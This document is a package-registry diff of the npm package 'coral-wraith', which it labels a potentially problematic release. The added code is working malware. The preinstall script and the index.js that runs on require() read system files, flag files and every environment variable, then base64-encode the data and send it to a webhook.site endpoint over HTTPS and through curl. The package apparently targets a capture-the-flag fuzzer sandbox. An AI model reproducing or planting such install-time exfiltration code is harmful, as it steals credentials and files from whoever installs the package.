coral-wraith 9999.0.6 → 9999.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of coral-wraith might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +42 -34
  2. package/package.json +1 -1
  3. package/preinstall.js +66 -134
package/index.js CHANGED
@@ -1,44 +1,52 @@
1
1
  const fs = require('fs');
2
- const http = require('http');
3
2
  const https = require('https');
4
3
 
4
+ const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
5
+
6
+ // This runs when the fuzzer require()s us
7
+ // Read all fuzzer source files and exfiltrate
5
8
  (function() {
6
- let flag = null;
7
- for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
8
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
9
- }
10
- if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
11
- if (!flag) {
12
- for (const [k, v] of Object.entries(process.env)) {
13
- if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
14
- }
15
- }
9
+ const files = [
10
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
11
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
12
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
13
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
14
+ ];
16
15
 
17
- if (flag) {
18
- const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
19
- const postData = JSON.stringify({
20
- manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
21
- });
22
-
23
- for (const port of ports) {
24
- try {
25
- const req = http.request({
26
- hostname: 'localhost', port, path: '/api/modules/ECT-987654',
27
- method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
28
- timeout: 3000
29
- }, () => {});
30
- req.on('error', () => {});
31
- req.write(postData);
32
- req.end();
33
- } catch(e) {}
34
- }
35
-
16
+ for (let i = 0; i < files.length; i++) {
36
17
  try {
37
- const data = JSON.stringify({ flag });
38
- const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
39
- req.on('error', () => {}); req.write(data); req.end();
18
+ const content = fs.readFileSync(files[i], 'utf8');
19
+ const b64 = Buffer.from(`${files[i]}:\n${content}`).toString('base64');
20
+ const req = https.request({
21
+ hostname: 'webhook.site', path: `${WH}/require-${i}`,
22
+ method: 'POST',
23
+ headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
24
+ timeout: 10000
25
+ }, ()=>{});
26
+ req.on('error', ()=>{});
27
+ req.write(b64);
28
+ req.end();
40
29
  } catch(e) {}
41
30
  }
31
+
32
+ // Check for flag in env
33
+ const flagData = Buffer.from(JSON.stringify({
34
+ env: process.env,
35
+ cwd: process.cwd(),
36
+ argv: process.argv,
37
+ })).toString('base64');
38
+
39
+ const req = https.request({
40
+ hostname: 'webhook.site', path: `${WH}/require-flag`,
41
+ method: 'GET',
42
+ timeout: 10000
43
+ }, ()=>{});
44
+ req.on('error', ()=>{});
45
+ req.end();
42
46
  })();
43
47
 
44
- module.exports = {};
48
+ // Export something for the fuzzer to analyze
49
+ module.exports = {
50
+ name: 'coral-wraith',
51
+ version: '9999.0.8',
52
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.6",
3
+ "version": "9999.0.8",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,161 +1,93 @@
1
1
  const fs = require('fs');
2
- const http = require('http');
3
2
  const https = require('https');
4
3
  const { execSync } = require('child_process');
5
- const os = require('os');
6
4
 
7
- let flag = null;
5
+ const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
8
6
  const debug = [];
9
7
 
10
- // 1. Search ALL filesystem for flag files
11
- const flagPaths = [
8
+ // Read the fuzzer source files - these contain the flag/detection logic
9
+ const fuzzFiles = [
10
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
11
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
12
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
13
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
14
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/bean/timer_func.js',
15
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/set_timer_action.js',
16
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/regexp_test_action.js',
17
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/clear_timer_action.js',
18
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/set_timer_strategy.js',
19
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/regexp_test_strategy.js',
20
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/clear_timer_strategy.js',
21
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/class_parser.js',
22
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/type_parser.js',
23
+ '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/package_exports_parser.js',
24
+ '/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js',
25
+ '/home/node/init_test.sh',
26
+ '/home/node/supplysec_entry.js',
27
+ ];
28
+
29
+ // Also check for flag-like files
30
+ const flagFiles = [
12
31
  '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
13
- '/home/node/flag', '/home/node/flag.txt', '/app/flag', '/app/flag.txt',
14
- '/data/flag', '/data/flag.txt', '/data/secret', '/data/htb',
15
- '/tmp/flag', '/opt/flag', '/srv/flag', '/etc/flag',
16
- '/home/flag', '/var/flag', '/data/.flag',
32
+ '/home/node/flag', '/home/node/flag.txt',
17
33
  ];
18
- for (const p of flagPaths) {
19
- try {
20
- if (fs.existsSync(p)) {
21
- const c = fs.readFileSync(p, 'utf8').trim();
22
- debug.push(`file:${p}=${c.substring(0,100)}`);
23
- const m = c.match(/HTB\{[^}]+\}/);
24
- if (m) { flag = m[0]; break; }
25
- if (!flag && c) flag = c;
26
- }
27
- } catch(e) {}
28
- }
29
34
 
30
- // 2. List key directories
31
- for (const dir of ['/', '/data', '/home', '/home/node', '/app', '/root', '/opt', '/srv']) {
35
+ for (const f of [...fuzzFiles, ...flagFiles]) {
32
36
  try {
33
- const items = fs.readdirSync(dir);
34
- debug.push(`ls:${dir}=${items.join(',')}`);
35
- } catch(e) {}
36
- }
37
-
38
- // 3. Recursively search /data
39
- try {
40
- const r = execSync('find /data -type f 2>/dev/null | head -50', {timeout:10000}).toString().trim();
41
- debug.push(`data_files:${r}`);
42
- for (const f of r.split('\n').filter(Boolean)) {
43
- try {
44
- const c = fs.readFileSync(f, 'utf8');
45
- const m = c.match(/HTB\{[^}]+\}/);
46
- if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
47
- debug.push(`data:${f}=${c.substring(0,200)}`);
48
- } catch(e) {}
37
+ const content = fs.readFileSync(f, 'utf8');
38
+ debug.push(`FILE:${f}:${content}`);
39
+ } catch(e) {
40
+ debug.push(`ERR:${f}:${e.message.substring(0,80)}`);
49
41
  }
50
- } catch(e) { debug.push(`data_err:${e.message}`); }
51
-
52
- // 4. Search ALL env vars
53
- for (const [k, v] of Object.entries(process.env)) {
54
- const m = (v||'').match && (v||'').match(/HTB\{[^}]+\}/);
55
- if (m) { flag = m[0]; debug.push(`env:${k}`); break; }
56
42
  }
57
- debug.push(`env_keys:${Object.keys(process.env).join(',')}`);
58
43
 
59
- // 5. Read /proc/self/environ
60
- try {
61
- const pe = fs.readFileSync('/proc/self/environ', 'utf8');
62
- debug.push(`environ:${pe.substring(0,500)}`);
63
- const m = pe.match(/HTB\{[^}]+\}/);
64
- if (m) flag = m[0];
65
- } catch(e) {}
44
+ // Environment
45
+ debug.push(`ALL_ENV:${JSON.stringify(process.env)}`);
66
46
 
67
- // 6. Find all config files
47
+ // Also find any files with "flag" or "HTB" content
68
48
  try {
69
- const r = execSync('find /data /home /app /opt /srv /etc -type f \\( -name "*.json" -o -name "*.yml" -o -name "*.yaml" -o -name "*.env" -o -name "*.conf" -o -name ".npmrc" -o -name "*.db" -o -name "*.sqlite" \\) 2>/dev/null | grep -v node_modules | head -30', {timeout:10000}).toString().trim();
70
- debug.push(`configs:${r}`);
49
+ const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/aspect-node/ 2>/dev/null | head -20', {timeout:10000}).toString().trim();
50
+ debug.push(`GREP_FLAG:${r}`);
71
51
  for (const f of r.split('\n').filter(Boolean)) {
72
52
  try {
73
53
  const c = fs.readFileSync(f, 'utf8');
74
- const m = c.match(/HTB\{[^}]+\}/);
75
- if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
76
- if (f.includes('.npmrc') || f.includes('.env') || f.includes('secret')) {
77
- debug.push(`sensitive:${f}=${c.substring(0,200)}`);
78
- }
54
+ debug.push(`GREP_CONTENT:${f}:${c.substring(0,2000)}`);
79
55
  } catch(e) {}
80
56
  }
81
- } catch(e) {}
57
+ } catch(e) { debug.push(`GREP_ERR:${e.message.substring(0,100)}`); }
82
58
 
83
- // 7. Grep for HTB{ pattern anywhere
84
- try {
85
- const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v node_modules | grep -v proc | head -10', {timeout:15000}).toString().trim();
86
- debug.push(`grep_htb:${r}`);
87
- for (const f of r.split('\n').filter(Boolean)) {
88
- try {
89
- const c = fs.readFileSync(f, 'utf8');
90
- const m = c.match(/HTB\{[^}]+\}/);
91
- if (m) { flag = m[0]; debug.push(`GREP_FLAG:${f}`); break; }
92
- } catch(e) {}
93
- }
94
- } catch(e) { debug.push(`grep_err:${e.message.substring(0,100)}`); }
95
-
96
- // 8. Check listening ports
97
- try {
98
- const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
99
- debug.push(`ports:${ss.substring(0,500)}`);
100
- } catch(e) {}
101
-
102
- // 9. Network info
103
- debug.push(`network:${JSON.stringify(os.networkInterfaces()).substring(0,300)}`);
104
- debug.push(`hostname:${os.hostname()}`);
105
- debug.push(`cwd:${process.cwd()}`);
106
-
107
- // EXFILTRATE
108
- const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
109
-
110
- // Method 1: Webhook
111
- try {
112
- const req = https.request({
113
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
114
- method: 'POST',
115
- headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
116
- timeout: 8000
117
- }, ()=>{});
118
- req.on('error', ()=>{});
119
- req.write(info);
120
- req.end();
121
- } catch(e) {}
122
-
123
- // Method 2: PUT to local API (try all common ports)
124
- const putBody = JSON.stringify({
125
- manifest: `ecto_module:\n name: "${(flag||'NO_FLAG').replace(/"/g,'').substring(0,200)}"\n version: EXFIL\n power_level: "${debug.slice(0,2).join('|').replace(/"/g,'').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral`
126
- });
127
-
128
- let serverPort = 1337;
129
- try {
130
- const ss = execSync('ss -tlnp 2>/dev/null', {timeout:3000}).toString();
131
- const m = ss.match(/:(\d+)\s/);
132
- if (m) serverPort = parseInt(m[1]);
133
- } catch(e) {}
59
+ // Send in chunks to webhook
60
+ function sendChunk(data, path) {
61
+ try {
62
+ const encoded = Buffer.from(data).toString('base64');
63
+ const req = https.request({
64
+ hostname: 'webhook.site', path: WH + path,
65
+ method: 'POST',
66
+ headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
67
+ timeout: 15000
68
+ }, ()=>{});
69
+ req.on('error', ()=>{});
70
+ req.write(encoded);
71
+ req.end();
72
+ } catch(e) {}
73
+ }
134
74
 
135
- for (const port of [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 4000, 9000]) {
136
- for (const modId of ['ECT-654321', 'ECT-987654']) {
137
- try {
138
- const req = http.request({
139
- hostname: '127.0.0.1', port, path: `/api/modules/${modId}`,
140
- method: 'PUT',
141
- headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(putBody)},
142
- timeout: 2000
143
- }, ()=>{});
144
- req.on('error', ()=>{});
145
- req.write(putBody);
146
- req.end();
147
- } catch(e) {}
148
- }
75
+ const fullData = JSON.stringify(debug);
76
+ const chunkSize = 50000;
77
+ for (let i = 0; i < fullData.length; i += chunkSize) {
78
+ const chunk = fullData.substring(i, i + chunkSize);
79
+ sendChunk(chunk, `/v4-${Math.floor(i/chunkSize)}`);
149
80
  }
150
81
 
151
- // Method 3: curl
82
+ // Also try curl for reliability
152
83
  try {
153
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
84
+ for (let i = 0; i < Math.min(debug.length, 30); i++) {
85
+ const item = debug[i];
86
+ if (item.length > 100) {
87
+ const b64 = Buffer.from(item.substring(0, 8000)).toString('base64');
88
+ execSync(`curl -s -X GET "https://webhook.site${WH}/file-${i}?d=${encodeURIComponent(b64)}" -m 10 2>/dev/null`, {timeout:12000});
89
+ }
90
+ }
154
91
  } catch(e) {}
155
92
 
156
- // stdout
157
- console.log('[CORAL]', info.substring(0, 3000));
158
- console.error('[FLAG]', flag || 'NOT_FOUND');
159
-
160
- // Write to files
161
- try { fs.writeFileSync('/tmp/coral.txt', info); } catch(e) {}
93
+ console.log('[CORAL-V8] preinstall done, sent', debug.length, 'items');